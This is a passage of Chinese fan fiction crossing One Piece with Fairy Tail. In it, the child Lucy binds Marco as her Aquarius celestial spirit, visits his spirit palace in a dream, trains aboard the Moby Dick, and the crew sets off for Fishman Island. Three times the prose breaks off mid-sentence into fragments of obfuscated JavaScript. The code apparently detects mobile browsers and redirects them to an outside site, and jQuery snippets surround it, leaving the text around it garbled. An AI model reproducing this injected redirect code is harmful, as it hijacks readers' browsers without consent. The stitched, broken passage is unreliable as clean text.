桅杆上的海鸟互相梳理着羽毛,他顿了顿,突然一个想法滑过脑海。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054618|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “露西。” “唔。” 青年眼神里带上一丝尴尬:“你总说我是阿葵亚,是你的星灵。在你眼里,星灵到底是什么,我好像一直都没有了解过……” 这个问题露西不用犹豫,她的答案从来只有一个。 “星灵是家人!” 看着女孩认真又坚定的模样,马尔科笑了:“那就没问题了yoi,我们确实是家人。” 他放下了,因为他知道孩子的过家家就是字面意思上的家,他不是谁的替身,他只是这个家庭的一部分。如果露西需要他,他会做的,毕竟,他是哥哥了。 可是这一次,露西摇头拒绝:“不行!马尔科不想成为我的星灵,我要尊重你!” 马尔科笑了起来,伸手,问她钥匙在哪。 女孩拿出那把钥匙,马尔科握着钥匙的另一端告诉她:“之前是之前,现在你再问我一遍吧yoi。那一天的仪式,我好像有话没有说完。” 露西眨眨眼,在青年的鼓励下,她再次开口。 “马尔科,你愿意做我的阿葵亚吗?” “我愿意。” 滴答。 夕阳的金光正正好穿过远方的小岛洒在他们身上,云层与海波交相辉映,世界染成橘红。露西看着马尔科,听到脑海里什么消失的声音。 水瓶宫的门扉定下了。 背着身的送报鸥泪流满面,哭哭啼啼地用翅膀去擦。它们将报纸扔在甲板上,给了两人一个祝福的眼神,扑腾着留下几根洁白的尾羽。 白色的身影和降落的天幕融在一起,海浪开始苏醒,它们渐渐看不到了。马尔科抱着女孩站起来,拿起一旁的腹卷。 露西一脸严肃地看着钥匙,在心里默念了两遍。星灵是互相尊重的家人,绝对,绝对不可以跨过对方去做决定。视线瞥到马尔科时,她露出一个灿烂的笑,抱住对方亲了一口。 “干嘛?”青年吓了一跳。 “马尔科,你是我最好的朋友。”露西靠在他的脖子上偷偷告诉她。 马尔科纠正:“我是你最好的哥哥。” “……哦。” 她用钥匙在青年身上比划,马尔科宠溺地将她头顶翘起的金发按下去。无人注意的地方,一道金光悄悄闪烁,啪。 露西眨了眨眼,她看到那个叫星灵界的地方亮起一座殿堂。 她愣了愣,巨大的兴奋淹没孩子,她连忙开口:“马尔科马尔科,你喜欢什么呀?” 马尔科挑了挑眉。 露西举起钥匙:“告诉你一个好消息,你可以把喜欢的东西放在你的宫殿里了!” 宫殿? 什么宫殿? 马尔科疑惑地看向露西那张认真的小脸,视线转移到手中的钥匙上,金色的钥匙泛着光,却看不见刻着凹槽的部分。马尔科突然意识到,这把钥匙和平常用来开锁的钥匙不太一样。 他转念一想,钥匙是在地摊上买的,也许它本来就是什么装饰或者玩具之类的。想到露西之前执着了三次的签约仪式,青年觉得自己明白了,“宫殿”也是过家家的一部分。 “好,我知道了yoi。”他笑着附和。 听到这句话,露西一脸惊喜,急切地和自己签约的第一位星灵解释起来。 “你现在是露西的星灵,以后你就可以自由进出你的宫殿,把房间装扮成你喜欢的样子。” 路过的海贼朝他打招呼,马尔科点头,一只耳朵听着孩子的说话声,问她:“然后邀请你参观?” 露西一脸“你果然不懂”的表情,拍了拍他的肩膀:“露西随时都可以进去。” “【我】的宫殿,你随时可以进?” “因为你是我的星灵嘛。”孩子拉他的袖子。 马尔科怀疑她说的宫殿应该是指自己的房间。 “好,让你进,你想来我的房间就来,反正我房间里也没什么东西yoi。不过桌上的资料不要乱翻,那些是很重要的文件,染上墨水就看不清了。” 天哪,马尔科要把【资料】放在宫殿里?!马尔科真的很在乎他的宫殿! 在乎宫殿=在乎我 女孩激动地点头。 抱歉,两个人在鸡同鸭讲。 “马尔科,如果老爹打你,你可以躲到宫殿里。” 马尔科失笑:“老爹想揍我,我躲到哪里都没用yoi。” 露西觉得他笨:“不!就算是老爹也进不了星灵界,你躲进宫殿,他打不到你。” 躲在房间里老爹一样可以把他揪出来,再说他都三十的人了,为了逃一次打就躲起来?太逊了! ……等等,他为什么要默认自己会被打? “所以——我们一起去宫殿玩吧!” 孩子终于说出这句蓄谋已久的话。趁着青年没有反应过来,她握着钥匙,水瓶座的钥匙开始闪烁金光。 马尔科眼前的世界有一瞬间模糊,他的意识好像失了真,青年看不到的视角,他的身体开始发光,和孩子连成一片,下一秒就会被无形的力量拉扯着进入那把钥匙…… “马尔科队长!” 金光瞬间熄灭。 露西不甘心地扭头,马尔科也回过神来。 “你是——比斯塔船上的?怎么回莫比迪克号来了?” “是,我是五番队的队员!”海贼很高兴马尔科认得他,迎着露西恨不得咬他的目光,从怀里掏出一封信。 “马尔科队长,比斯塔队长让我把这封信交给您。” 听到这句话,露西心里一个咯噔。 22.时间快到了哦 马尔科身形一顿。 他一手抱着露西,另一只手接过信撕开信封。 露西敏锐地感知到马尔科身上那种轻松慵懒的感觉随着他的目光沉下去了,他的眼神开始苏醒,气势像变了一个人,平静、深邃,又像钉子牢牢落下的笃定。他应该是要去做大人才会做的事情了,露西乖巧地落地。 果然—— “抱歉露西,我有些事情要处理yoi。” “没事哦马尔科,我们晚上再去!” “我知道了。”青年并没有将这句“玩笑”放在心上。 孩子一个人跑走去找萨奇,马尔科看着她的背影进入餐厅,收敛笑容,和队员一起走向甲板后方。 比斯塔来信是汇报鱼人岛现状的。泰格回鱼人岛后与尼普顿国王和乙姬王妃见了一面,没人知道他们谈了什么。但是离开皇宫后,泰格失踪了。 马尔科快速浏览过信件,取出附件和草图,问他:“鱼人岛最近有海贼路过吗?” “没有。都知道海军在鱼人岛附近加派人手,新世界的海贼们躲着鱼人岛呢。”队员跟在他身后说道,“不过——” 马尔科扭头看他。 “马尔科队长,您还记得甚平这个名字吗?” “甚平?那个被老爹救过的甚平?” “就是他!”队员点头,“泰格离开皇宫两天后,他也离开了尼普顿军队,去了鱼人街。” “鱼人街……”马尔科折起信,目光中闪过思索。 鱼人街是鱼人岛的无法地带,成为老爹的地盘前,每天有各种人类、鱼人、人鱼经由此处偷渡往来。鱼人岛归顺后,人类少了,鱼人街彻底变成鱼人族的地盘。他们相当排外,对人类有着深刻的仇恨,即使是白胡子海贼团的人也无法进入。 “我们也不知道甚平进入鱼人街后发生了什么。” 泰格,玛丽乔亚,龙宫城,鱼人街。 几个字眼从脑中闪过,马尔科基本上有了决断。 “甚平那家伙一定是去保护泰格了yoi。你把信息整理出来交给老爹。” “是!” 这个晚上,马尔科和白胡子在甲板上谈了很久,回到房间后,他坐在桌前翻开佛萨之前寄来的信。 佛萨关于香波地群岛的提议也许可以提上日程了。 他裁下纸张,提笔,笔锋沙沙地留下墨痕。青年左转抬头,手指拂过墙上挂的海图,一条线路,几个点。他点了点那些坐标,右手在本子上记录。蜡烛因海浪侵蚀微斜,凝固的蜡泪垂成白线落在桌角,海面都在沉睡,他却依然强吊起精神,半分也不敢松懈。 他是白胡子海贼团的队长,处理事务,维护领地稳固,船上事无巨细都是他的责任。 橙红色的火苗晃动,发黑的烛芯开始萎缩,桌子上的光影暗了下去。 …… 踏。 马尔科有意识的时候,自己正顺着眼前的石阶向上。他的思绪还停留在那些交织的杂事和各队任务安排上,心里不由得生出一种烦闷感。 没有时间了,他得赶快回去,天亮之后要核对老爹治疗方案的阶段性成果,所有的药剂都得他来配比。 踏。 石阶下是一整片混沌霓虹的黑色。 马尔科登上最后一级台阶,看到露西坐在石门下。金发女孩听到他的声音,惊喜地跑过来抱住他。 “马尔科,我等了你好久啊,你终于来了!” 【来?】 马尔科不明白。 “你忘了吗,这里是星灵界啊。” 女孩拉着马尔科走向那扇巨大的石门。石门上画着一个标志,马尔科看着它,他的大脑处于一种迷迷糊糊的放空的状态,却十分清晰地知道那是水瓶座的标志。 【你带我来这里做什么yoi?】 女孩回头,眼神里流露出一种神祗般的平静感:“我们去你的宫殿。” 吱呀。 石门应声而开。 “快来马尔科!” 大脑像是被人重击,有人在耳边骂他,阻止他进入,马尔科浑浑噩噩地跟了上去。 与其说是宫殿,石门后更像一个房间。马尔科一步踏在空空荡荡的水面上,窒息感扑面而来。 天是蓝的,水是静的,没有千变万化的海浪,只有哗啦的水声从房间尽头传来。 说不清材质的人鱼雕塑半嵌入墙上,那位纤细却充满力量的女性抱着一个瓶子,水流从瓶子里流出来,流进地面,源源不断。 马尔科看着那座雕像,露西和他第三次签约的时候他看见了这个人鱼。一个能够驱动大海的人鱼。 露西踩在水面上,发出一声长长的惊叹:“哇,好漂亮的姐姐!” 她看了一会雕像,叹气:“可惜露西不认识她呢。” “马尔科,我们把雕像换了吧,换成你!” 青年顿住。 他的心中莫名涌起一股愤怒,夹杂着悲伤,滔滔不绝。这不是他的感情。 【不,留下吧露西,留下她。】 马尔科说不清自己为什么这样回答。 “……好吧。”孩子撇撇嘴,很快接受。 就在马尔科说出这句话后,窒息感忽然散了,混乱的头脑开始变得清晰。那种充斥在身体内部的不属于自己的排斥感与烦躁感,不见了。 他好像变成了水的一部分,并且第一次产生那个认知——现在,这里是他的宫殿了。 噗通。 露西不知道哪里摸出来一个白色的玩偶丢进水里,那个玩偶顺着水流漂过来,一下子变得只有纸船大小。马尔科认出那是一头白鲸。 【莫比迪克号?】 青年看着玩偶的形状,心里莫名生出这个感觉。 “马尔科,你没有想要放进去的吗?”露西追着白鲸小跑过来,抬起头看他。 莫比迪克号……信……泰格…… 马尔科下意识开始思考,鱼人岛现在怎么样了?海军到底是不是要发动袭击,还是说鱼人岛的驻军只是掩人耳目…… 思维如同书页翻动,又一声噗通,一个模型落在水里。 “这是什么?”女孩蹲下来戳了戳它。 马尔科看着那个模型有一瞬愣神。 鱼人岛。 阳树夏娃,龙宫城的穹顶,WATER ROAD的水道,海之森的残骸,还有岛屿下方的鱼人街。 这是马尔科想象中的鱼人岛。 但,为什么会出现在这里?它不应该在—— 马尔科还没有动作,鱼人岛就像是有自己的意识一般飘远,直到来到某个地方,缓慢地自转。马尔科认出来,如果这是一张平铺的海图,鱼人岛停下的位置正好是海图上它应该在的地方。 露西兴奋地尖叫起来,踩着水追过去。 “莫比迪克号,出发,去鱼人岛!” 马尔科看着那个可爱的白鲸在露西的追逐下慢慢漂流,漂向鱼人岛的方向,水面留下一个个涟漪。马尔科很慢地跟在她身后,他看着空旷的水面,夜晚时紧绷的神经一根根被抚平。 “当然啦,因为这里是你的宫殿呀。”露西说,“宫殿是星灵的家,你想做什么都会实现。” 他们从宫殿里走出来,马尔科看见十一扇关起来的门,他试图推开一扇,孩子大惊失色拦住他:“这是巨蟹宫的门,凯沙(Cancer)现在还没有回来呢,我们要等他回来再来拜访……” 台阶之外的混沌像沉眠的孤茧,头顶,星图闪耀。他们每走一步,就有一颗星星亮起,另一颗熄灭。马尔科从星图里看到他们的轨迹。 “马尔科……”露西打了个大大的呵欠,“以后你直接进来,不要做梦啦。” 马尔科还没来得及回答,突然,他眨了一下眼,眼睛睁开了。 青年从桌前起身,蜡烛不知何时已经熄灭,椅背上挂着的外衣又湿又冷,马尔科揉了揉头上的菠萝叶子,发出一声疑惑的叹息。 “我睡着了?” 青年喝了一口水,零点过后,温水冷得沁骨。他放下杯子,呼出白色的暖气,重新看向墙上那幅海图。 “人鱼……”他下意识喃喃,随即愣了一下,摇头失笑。一定是他一直在想鱼人岛的事情,才会连睡觉都梦到了。 但是睡了一觉后,他好像没那么累了。 *** 马尔科没有把这个感觉告诉其他人,毕竟在他看来这更像是一种错觉,说出来只会被兄弟们嘲笑。但是眼尖的队长还是一下子瞧出他的不同。 “你吃药了?” 马尔科瞥了青年一眼:“萨奇你说话好失礼啊yoi。” “不是……”萨奇放下汤勺,围着他转了一圈,摇头,“不一样。” “什么不一样?”听到动静的哈尔塔走进餐厅凑热闹。 几秒后,少年倒吸一口凉气。 “你这么说——我好像也觉得——” 两人一拍即合。 “马尔科看上去变年轻了!” 该怎么形容呢?马尔科之前的气是停滞的,凝聚在身边的。但是现在,他的气场开始转动了。那些空气中的颗粒与他碰撞出轻快的声音,而不是黏在他的身上,将他越压越沉。 这是一种无法用语言表达的感觉,只有他们这种拥有见闻色的家伙才能感受到这细微的差别。 “中午好~” 嘀嘀咕咕的两人扭头,看见露西行了个提裙礼。 不等他们开口,孩子眼睛一亮,略过他们直奔马尔科。 “马尔科!” 露西一本正经地围着他转圈,不时点头,嘴里发出肯定的声响。女孩停下,啪地摆了个姿势,指着马尔科得意道:“马尔科昨天睡了个好觉!” “对,睡了个好觉yoi。” 孩子一副果然如此的神情,拍了拍他的腿,踮着脚爬上高凳。她晃着两条腿和马尔科聊天,不知道看见什么,指着菜单扭头。马尔科还没完全坐下去,就着她的视线抬头,回应孩子的话。 “他们和好了啊。”哈尔塔在餐厅另一头坐下,搭着椅背发出一声半是羡慕的短叹,“这下好了,露西最喜欢的队长又要变回马尔科了。” 金古多哈哈笑了起来:“一直都是马尔科啊。” “诶,真偏心呐。”少年抱怨了一句,收回视线和同伴们喝起酒。 白胡子走进来,看到马尔科和露西坐在一起聊天,心里有了数。他哼笑一声,不顾萨奇阻拦拿走了最高处的酒,一脸什么都听不到的表情走向他的儿子们。哈尔塔起身欢呼,海贼们热烈地迎接老爹,不出意外地一滴酒也没有分到,气得他们一窝蜂往白胡子身上爬要抢他的酒桶。 “老爹都快六十岁的人,也该注意身体才是!”萨奇不赞同地看着白胡子一顿豪饮,“整艘船上除了马尔科就没有别的人能管的住他吗?” “你高看我了yoi。”马尔科淡淡道,“老爹的脾气,连我也会打的。” “得想个办法啊……”萨奇忧心忡忡地看着白胡子。 突然,视线角落,露西笨拙地舀起碗里的胡萝卜,随后往马尔科碗里放,动作自然得仿佛意识不到自己在干坏事。 唰。 萨奇眼疾手快扑过去拦住她。 “放回去。”他用眼神指了指露西的碗。 女孩眨眨眼,听话地将勺子收回来。 萨奇直起身。 他重心还没回来,露西已经折返将胡萝卜丢进马尔科碗里,一套动作行云流水,快得没有一丝空隙。萨奇没拦住,要起身,第二块胡萝卜已经从他扑空的手臂上方空投成功。 “你太狡猾了!” 萨奇惊呼。 青年爬起来,把她像猫一样锁住两只爪子。 “你、还、抓着一块?!”他抬起女孩的手,迎着对方无辜的眼睛,从手心里抠出一块胡萝卜扔在桌上,转身拿布替她擦手。 “萨奇。”马尔科阻止了他想要重新盛饭的动作。 “露西,你可以把胡萝卜丢给我,但你自己必须吃三块yoi。” “喂马尔科!” 马尔科抬手阻止他。 露西听完,立刻低头盯着自己的饭碗,挑挑拣拣半天,把个头最大的那些舀起来交给青年。萨奇看着她的动作,再看看马尔科全盘接受的举动,知道今天的努力又白费了。 “慢慢来。”马尔科告诉他。 萨奇擦着桌子,没好气地问他:“你怎么做到的?昨天去甲板一趟就和好了?” 马尔科吃着露西扔过来的胡萝卜,淡淡道:“没什么,就是弄明白了一些事情yoi。” 就这么简单? 萨奇看着眼神柔和的与孩子聊天的青年,心里就算吃醋也不得不承认,马尔科在露西心里从一开始就是不一样的。露西对每个人都会笑,但只会和马尔科真的生气。他们之间有一种别人插不进去的难以言喻的命运感,这种感觉随着他们从甲板上回来愈发明显。 萨奇眼睛一亮:难道真的是因为发色? “萨奇。”马尔科突然喊他。 “我们之前说的用餐表,你觉得可行吗yoi?” 萨奇想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070003|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来了。 “对,你让我给露西制定一个用餐时间表。” 孩子之前的用餐太不规律,对肠胃损伤很大,需要好好调理。 “露西,你现在只能少食多餐,我会给你起灶的,每隔三个小时来餐厅,半个月后看情况调整。” “多吃?” “不然你会饿的。”萨奇解释。 马尔科问:“大概需要多久能让她恢复正常?” 萨奇看了眼女孩:“如果她不、挑、食,好好吃,我想用不了一年就能和其他孩子一样。” 青年特意加重语气,露西不满意地撅着嘴放下自己的勺子。 “那露西的饮食就交给你了。”马尔科起身,将盘子丢在桌上,“体力方面,比斯塔还没回来,我、以藏、哈尔塔会负责。” 露西心里有种不好的预感。 “别担心,不会一开始就为难你的yoi。”马尔科揉了一把露西的头,转身走出餐厅。 为难?! 女孩一脸震惊。 她不能像海王类那样每天翻着肚皮晒太阳了吗? 不是说露西在船上想怎么过,都随露西喜欢吗? 海贼,骗子! 想到这儿,露西哼哼两声,慢吞吞地吃饭拖延时间。 只要露西吃不完,他们就不能阻止露西。 “露西,我在外面等你。”以藏起身和十六番队的队员们往餐厅外走去。 “……” “好~”孩子瞬间投降,傻乎乎地笑着将碗里的米扒拉干净。 什么拖延时间?露西不知道哦。那可是以藏!答应以藏怎么能叫叛徒呢? 萨奇看着女孩瞬间变脸的表情,牙签掉在桌上。 他怎么没有这种待遇? “以藏~” 露西走出餐厅,以藏靠着舷墙在等她。青年摸着腰间的枪,望着海平面上的某个方向出神。露西顺着他的视线看过去,除了远处黑色的岛屿尖尖什么也看不到。 以藏回过神,将吹起的发丝撩到耳后。 “走吧,露西。”他的声音一如既往的温和。 露西紧张地擦了擦自己的手,快步跟过去。 “以藏,训练……要看什么书啊?” “书?”以藏疑惑了一下,轻笑,“不看书。” 露西松了口气。 还没等她这口气彻底放下,孩子听到以藏的声音。 “马尔科说了,你要绕着莫比迪克号跑步。” 轰隆。 晴天霹雳。 露西僵硬地回头,莫比迪克号的船尾远得根本看不到尽头。绕着这样的大船跑步?她还能睡觉吗? 孩子不安地拽着青年的和服,一步一步不情愿地往甲板走去。 甲板上没什么打牌的人,更多人坐在船头钓鱼,懒洋洋地打着呵欠。熟悉的身影,哈尔塔招了招手。 “从今天起,我们三个轮流帮你训练。”少年叉着腰,语气里满是骄傲,“瞧你那小胳膊小腿的,你可是老爹船上的家伙,走出去不能给老爹丢脸!至少要知道怎么逃跑吧?” 考虑到露西的体质之前的遭遇,三个青年特意减少了一半的运动量。但即便如此,第一次尝试,露西只走了两个房间的距离。 “你是婴儿吗?走都只能走这点路?!” 啪。 口无遮拦的哈尔塔被以藏打了一下。 女孩扶着墙喘气,嗓子里都是淡淡的血腥味。她的胸口疼的厉害,呼吸间,胸骨好想要戳进肺里,心脏却跳出胸膛往骨头上戳。马尔科看着女孩稍微有些血色的脸再次变得惨白,听到她时而虚弱时而正常的呼吸,心里叹了口气。 “是我的问题,今天就到这儿yoi。” 露西可怜兮兮地抬头看向青年,小嘴一撅,眼眶湿润:“露西让马尔科失望了。” 马尔科替这只脏兮兮的小猫擦脸:“没有的事yoi,我们慢慢来。” 露西不太相信地瞄他,夜色下,她看不清马尔科脸上的表情。 马尔科昨天才答应成为她的星灵,她的表现这么差,马尔科会不会一生气就断掉契约?! 孩子内心格外忐忑。心脏还在痛,眼珠好像跟着心跳要蹦出去,露西看到几缕菠萝叶子在风中晃动,焦躁不安的注意力一下子就被分散,忍不住伸手揪它。 马尔科拉住她的手:“你真是一会一个心情。” 青年起身带着她往前走,以藏和哈尔塔看了眼,知道现在没有自己的事,转身离开了。 马尔科并没有直接让露西放弃,他陪着露西走路,很慢,很久。甲板上的灯一盏盏亮了。孩子困得上下眼皮打架,歪着头就往墙上倒,马尔科抱着她走回她的房间。 即使拼尽全力,她也只能走半圈啊。 青年替她拉好被子,看着孩子熟睡的脸庞,将她的手放进被子里。他再一次意识到自己掌心的生命有多么脆弱。 “要不还是换个方法吧。” 海贼们都劝她放弃。她太柔弱了,柔弱到不需要风雨,不需要利器,都可能随时丧命。 “不行!”露西拒绝了青年。 “马尔科,我不会让你失望的!” 她第一次如此坚定地表达自己的想法。 海贼们忘了一件事。酒店的玻璃是露西自己砸掉的。 面对甚至不确定是否会接住自己的马尔科,她只为了一个是阿葵亚的可能,毅然地从顶楼跳下。 露西从来就不是一个内心柔弱的人。 她比所有人都勇敢,都固执。 正如现在的露西决定要成功跑完莫比迪克号。 …… 一周后,露西第一次走完全船。海贼们合上自己惊掉的下巴,哈尔塔接住孩子,十二番队抱着她欢呼。 半个月后,露西绕着莫比迪克号跑了三分之一圈。那一天海贼们躲在角落里偷看,露西停下脚步后,他们冲出来将孩子抛到半空。 一个月的时候,露西成功识别以藏所有的枪支,开始学习如何近身拨动保险。 一个半月,露西在起始点对面的墙上新增了一个小小的记号。她顶着马尔科让她学的医用教材,站在凳子上看青年和护士们给老爹换药。 两个月,哈尔塔开始教她简单的攻击和防御动作,总是逼着露西吃胡萝卜的萨奇成了她的练习对象。 三个月,奇迹成为现实。露西跑完全程,耗时四小时五十八分钟。全船爆发出震天的欢呼,宴会彻夜不眠。 同月—— 金古多和布拉曼克离开换防。 23.版图 “我会想你们的。” 露西站在甲板上,两只眼睛里蓄满泪水。 海鸟停在岸边的木桩上,六番队和十一番队的队员们一边做着手势,一边抬着箱子往另一艘船上搬。 布拉曼克在核对物资,金古多看向站在马尔科身边的女孩,蹲下来揉了揉她的头。 “我们也会想露西的。” “你们要快点回来,路上要注意安全,不要和别人打架。” 露西看着男人,越看越担心。她伸手抱住男人的脖子,两声抽泣埋在海浪拍打的动静里。金古多愣了一下,第一次如此明显地感受到离家时来自亲人的挂念。他鼻子一酸,当即眼眶红了。 “你以为他是你?金古多又不是第一次出航。”哈尔塔不知何时窜到两人身边,直白的嗓音打破了这份温馨。 少年挥手驱赶:“快走!赶不上轮换让别的海贼溜进来袭击岛屿,你看老爹会不会骂你!” 抱着孩子一把鼻涕一把泪的金古多幽怨地看了哈尔塔一眼,重重叹气。迎着少年威胁的眼神,他收起自己那些惆怅的心思,向后退了退想要起身。可露西没有松手的意思,依然牢牢抱着他,整个人跟着往前拖了一步。 “露西。”金古多连忙停下动作,放轻声音和孩子商量,“哥哥得走了。” 露西用力摇头,双手死死交叉在一起。 哈尔塔看不下去,抱住孩子的腰往后拖,露西本来还没那么伤感,顿时场景到位,气氛上来,嚎啕大哭。她拼命拉扯金古多的衣服想要拽住男人,但哈尔塔就像小说里拆散男女主角的恶婆婆,力气比牛都大,她手脚并用也只能在金古多领口留下两团凌乱的抓痕。 “不!金古多!” 金古多听着孩子撕心裂肺的声音,良心一痛,好像自己做了什么十恶不赦的事情,惶恐起身,头也不敢回地上船。 “金古多——金古多!!” 露西伸手徒劳地扒拉空气,空气中响起没有人能听得到的哀乐,她的眼泪像开了闸的洪水倾泻而下。六番队和十一番队的队员们震惊地停下手里的动作,眨了眨眼,一秒后,一群男人放声大哭。 马尔科头疼地捂住额头,没眼再看。 “佛萨已经前往香波地了,你们由北入,正好赶上轮换空缺。” 他听着孩子尖锐的哭声,揉了揉耳朵催促:“快走吧yoi。” 一直没能和女孩说上话的布拉曼克走到船边大喊:“露西,要听老爹和马尔科的话啊!” 露西看着他远去的背影,那只肚子上的粉熊渐渐在视线里模糊。她悲痛万分,跪在地上大喊:“阿香——!” “阿香——!!”主船上的海贼们学着她的模样趴在舷墙上挥舞自己的帽子。 “吵死了!”白胡子头疼地拿着酒壶起身,一刻也不想多留。 以前怎么没发现这群臭小子这么能闹腾? 跳板被收起,海贼们唉声叹气地驮着背离开,露西趴在船头,眼泪汪汪地看着海贼船远去的方向,鼻子一酸,又撅起嘴。 “为什么老爹要赶他们走呢?”孩子不明白。 甲板上喝水的海贼们噗地喷出来。 “老爹没有赶他们走!”哈尔塔连忙纠正,“是他们有事需要离开。” 露西看了他一眼,一点都不相信:“哈尔塔总是帮老爹说话,露西不相信你。” 说着,女孩转身,视线在甲板上扫了一圈,落在白胡子身上。白胡子吨吨吨地喝酒掩饰自己偷听的行为。 女孩审视的目光落在他身上,他的额角留下一滴冷汗。 “老爹,你为什么要赶金古多和布拉曼克走呢?”她直截了当地开口,带着不容置疑的裁决。 “咳,咳。”白胡子装作被酒水呛了一下,用震天的咳嗽声盖过孩子的询问。露西连忙跑过去,抓着他的裤子往上爬,努力拍他的肩膀。 “老爹,没事吧?是不是喝的太快了?”她担忧地问。 “咕啦啦啦,没什么大不了的。”白胡子擦了擦嘴,一副自己能承受委屈的模样。露西看着他的表情,像个操心的姐姐那样叹了口气。 事就算过去了。 “老爹,你为什么要赶金古多和布拉曼克走呢?” 才怪! 下一秒,孩子又发问了。 “我没赶他们走。他们回领地巡防了。”白胡子干巴巴开口。 露西歪着头看他。 有什么区别吗? 白胡子僵硬地别过头不看她。 “露西。”马尔科站在甲板上喊她,“是我让金古多和布拉曼克回去的。” 【马尔科……干得好!】 全船的海贼们在心里默默喊道。 女孩那张盯着白胡子控诉的脸听到这句话,一下子就展开了。 “好吧。”她有些失落地抓着白胡子的头带叹气。马尔科这么干一定有他的原因。 白胡子轻啧一声,对女儿这种偏心的反应相当不满,直接把她从肩膀上拎了下来。但是露西脚一落地就转身,又从他的手臂上爬了回去,动作之快,白胡子急匆匆放下酒壶都没来得及抓住她。 “露西,不要往我身上跑。”他故作吓人地恐吓女孩。 露西左耳进右耳出,视线落在高高翘起的月牙胡子上,踮着脚伸手抓住。 “这个不行!”白胡子一把抓住她放回肩上。小孩子的动作真的太快了,你永远不知道她眼睛瞄的、心里想的和手上做的是几个意思。 海上最强的男人决定自己很有肚量地退让半步:“乖乖在老爹肩上坐好。” 他按住女孩,伸手去够自己的酒壶,扑了个空。 “……” “马尔科!”白胡子大怒,“谁让你管我喝酒的?快点把酒壶拿过来!” 马尔科站在原地指挥海贼们打扫甲板,充耳不闻。 白胡子气得转身:“你们敢违反船长命令?把我的酒壶拿来!” “老爹,马尔科为什么要让金古多和布拉曼克回去巡防呢?” 试图用船长威严命令儿子们交还酒壶的白胡子被这猛的一问问住了。露西坐在肩头晃着自己的腿,还是想不明白。她双手压在屁股下,身体竟然还敢往前倾,想要和白胡子对话。 白胡子瞥见她的动作,心里重重一跳,酒壶也不要了,最要紧的就是伸手将她往后推了推:“你坐好,别摔下去。” 露西又向后倒。 白胡子眼皮一跳,直接伸手抓住她按在原地。 哈尔塔坐在甲板上吃葡萄,将葡萄籽咬的咔咔响:“布拉曼克他们回老爹的地盘去了,新世界的海贼个个都不安分,不定期巡视,保不准哪个岛屿就被人攻击。” “咦?”露西惊讶,“经常有人和老爹打架吗?” 队员们走过来分葡萄,哈尔塔顺手递过去,往衣服上擦了擦手:“最近几年很少有海贼敢正面挑战老爹,毕竟老爹的名号在新世界那么响亮,海贼团的规模也今非昔比。海贼是贪婪的家伙,才不会干这种不划算的买卖呢!比如那个堂吉诃德的小子——” 少年说着,咧嘴一笑,扭头去看其他人,高声嘲弄:“他在新世界闹得那——么凶,也没见他来老爹的地盘撒野!” “对!” “就是说嘛!” “老爹可是海上最强的男人,堂吉诃德算什么?见着老爹哪一次不是夹着尾巴逃跑?” 海贼们哈哈大笑,马尔科忍不住摇头,眼神里却也有一种锋芒毕露的高傲。 白胡子哼哼两声,没有指责孩子们得意哄笑的行为。拥有强大的实力本就是一件值得骄傲的事情,何况他们是海贼,世界上最张扬,最不屑隐藏的人。 “等下,有一个家伙。”哈尔塔忽然想起来了,“好像有果实能力吧,什么来着的?那时候我还没加入,听说他刚入新世界就敢挑战老爹。” 他这样一说,马尔科想起来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“哇!”露西想想都觉得激动,崇拜而好奇地看向空旷的海面。 哈尔塔一眼就知道她在想什么:“别想了,你这辈子是看不到那天的,白胡子海贼团全员到齐?除非我们和海军正式开战。” 睿智的露西明白了,严肃道:“老爹,我们什么时候开战?” 白胡子大笑起来,甲板都微微颤抖。甲板上的海贼们也哈哈大笑,将地面拍得啪啪作响。 露西转头看向众人,不明白他们在笑什么。 眼见海贼船靠近,白胡子将露西拿起来放到地上,起身走向船沿。马尔科双手一挥化作不死鸟飞了出去,露西跟了几步,被涌过去的高大的海贼们淹没,知道他们大概是去迎接归来的兄弟——她从没见过的新哥哥们。她掉头挤开人群往后方跑,钻出他们的包围跳到箱子上。箱子上站着哈尔塔,少年见她上来,往左移了一步让路。 “哈尔塔哈尔塔。”露西拍着他的剑鞘继续刚才的话题,“我们什么时候和海军开战?” 哈尔塔伸长脖子也看不到前方发生什么,干脆放弃。少年低头,看着那对只有清澈和愚蠢的眼睛,恶作剧地捏了捏她的脸:“什么时候开战?比如——某个不愿意吃胡萝卜的小家伙被捉到海军的监狱里关起来,罪名是歧视胡萝卜罪……” “嘶!”露西倒吸一口凉气。 那真的是很大的罪了! 露西光是想象那个噩梦就觉得自己手脚发软,她抓着哈尔塔的手一脸惨白:“哈尔塔,你们一定要来救我!” 哈尔塔大笑起来。 船边的人声拔高了两个度,海贼们似乎在议论什么。马尔科落在舷墙上,双翅化为手臂,星星点点的蓝火在空气中如飞花熄灭。 “露西,准备一下yoi,要去鱼人岛了。” 24.人鱼人 咕噜噜噜—— 黑暗中传来水声。 露西站在甲板上,用力抬头向上看。声音近在咫尺,她伸出自己的手挥了挥,却什么也看不到。 “老爹!老爹!露西看不到了!”孩子惊慌失措地转身朝前跑去。 砰。 